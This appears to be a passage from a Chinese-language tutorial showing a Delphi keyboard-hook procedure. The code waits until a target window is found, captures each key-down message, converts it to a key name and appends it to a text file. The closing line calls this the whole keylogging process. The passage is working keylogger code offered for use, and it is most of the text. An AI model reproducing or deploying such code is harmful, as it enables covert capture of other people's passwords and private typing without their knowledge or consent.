function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin if findedtitle then file://如果发现窗口后 begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下 hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。 if length(hookkey) > 0 then file://如果获得按键名称 begin Write(hookkeyFile,hookkey); file://把按键名称写入文本文件 hookkey := ''; end; end; end; 以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。